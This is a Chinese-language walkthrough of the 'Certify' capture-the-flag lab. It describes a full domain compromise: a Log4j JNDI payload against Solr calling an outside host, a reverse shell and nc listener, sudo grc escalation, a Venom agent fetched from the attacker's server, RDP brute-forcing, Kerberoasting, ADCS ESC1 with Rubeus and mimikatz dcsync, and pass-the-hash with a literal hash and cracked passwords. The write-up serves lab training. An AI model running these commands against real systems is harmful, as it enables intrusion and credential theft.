[[仿真靶场 - Certify]]#
靶场介绍#
Certify 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。
- Solr
- AD CS
- SMB
- Kerberos
- 域渗透
解题步骤#
第一个 flag#
nmap 扫描
80 端口扫描目录无果
nmap 全端口扫描
访问http://39.99.234.17:8983/solr/#/,是 solr 界面,可能存在 log4j 漏洞
访问http://39.99.234.17:8983/solr/admin/info/system?_=${jndi:ldap://1fed89d19d.ipv6.1433.eu.org}&wt=json
测试是否可以访问 dnslog,如下,可访问,可能存在 log4j 漏洞
反弹 shell
利用 JNDI 返回 shell,在 vps 上
同时在 vps 开启监听
nc -lvnp 1234
ldap://x.x.x.x:1389/Basic/ReverseShell/vps的ip地址/1234
发送请求成功返回 shell
solr 用户未找到 flag,需要提权至 root 用户
sudo -l,查看以 sudo 权限运行的文件,可以找到/usr/bin/grc
文件无需输入 root 密码即可以 root 身份运行
直接运行/usr/bin/grc
文件,输出如下,注意 --pty 参数
在https://gtfobins.github.io/gtfobins/grc/ 网站可以找到 grc 提权的方法
sudo grc --pty /bin/sh
获取第一个 flag
第二个 flag#
查看服务器 ip,solr 服务器的 ip 地址是:172.22.9.19
上传 fscan 扫描
扫描后的信息整理如下:
172.22.9.7 XIAORANG\XIAORANG-DC #dc服务器
172.22.9.26 #域内机器
172.22.9.47 #fileserver
172.22.9.19 #solr服务器
注意:看了别人的 wp,发现这里少了一台服务器,后面的两个 flag 就拿不到
将内网流量代理出来,用venom进行代理
1、vps 上监听
./admin_linux_x64 -lport 9999
2、同时,vps 上开启 web 服务
python3 -m http.server
3、solr 靶机下载 agent 端
wget http://vps的ip地址:8000/agent_linux_x64
4、靶机运行 venom 的 agent,连接服务端
./agent_linux_x64 -rhost vps的ip地址 -rport 9999
开启 socks 代理
先看下文件服务器,测试下是否存在文件共享
kali 下修改 /etc/proxychains4.conf 文件,设置代理服务器
nmap 扫描
proxychains -q nmap -sT -A 172.22.9.47
proxychains smbclient \\\\172.22.9.47\\fileshare
get personnel.db
get secret\flag02.txt
获取到第二个 flag
tips, you have enumerated smb. But do you know what an SPN is?(确实,你已经提到了 smb。但是,你是否了解 SPN 的含义呢?)
第三个 flag#
查看 personnel.db 文件,可以找到一些用户名和密码
导出用户名和密码,通过 hydra 爆破 rdp,爆破了两个帐号,但无法登录
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV
报错告诉我们账户可能有效,但似乎没有启用远程桌面功能。
根据 flag02 中的提示(确实,你已经提到了 smb。但是,你是否了解 SPN 的含义呢?)
去获取域用户下的 spn
proxychains -q python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
输入 hydra 爆破的密码
得到了 krb5tgs 的 Kerberos TGS-REP(Ticket-Granting Service Reply)票据的哈希
通过 hashcat 爆破
hashcat -m 13100 -a 0 hash.txt wordlist.txt
爆破出了 zhangxia 和 chenchen 的密码
密码如下:
MyPass2@@6
@Passw0rd@
rdp 连接
proxychains xfreerdp /u:"[email protected]" /v:172.22.9.26:3389
成功访问了 172.22.9.26 的 rdp
无法访问 administrator 目录,flag 在这个目录下
第四个 flag#
ADCS ESC1#
参考:
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
下载 Certify 文件,上传至 172.22.9.26 上
Certify 下载:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
运行如下命令:
#查找易受攻击的证书模板
Certify.exe find /vulnerable
查看设置了 msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT 标志的证书模版,利用这个漏洞冒充管理员
注:但是运行后报错,经排查发现此环境还有一台服务器没起来,172.22.9.13,这台服务器为 CA 服务器,后面重试了好几次都起不来。
正常来说这一步可以为域管理员申请证书,输出一个证书文件。然后将证书格式转换为.pfx 格式。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
然后使用 Rubeus 或 certipy 进行身份验证
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
获得票据后导出 hash
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
运行上述命令后就可以获得域内用户和域管的 hash。
hash 传递#
有 hash 之后就可以进行 hash 传递,获取域内用户权限
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
同样的方式获取 172.22.9.7(域管的权限)
proxychains crackmapexec smb 172.22.9.7 -u administrator -H00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt"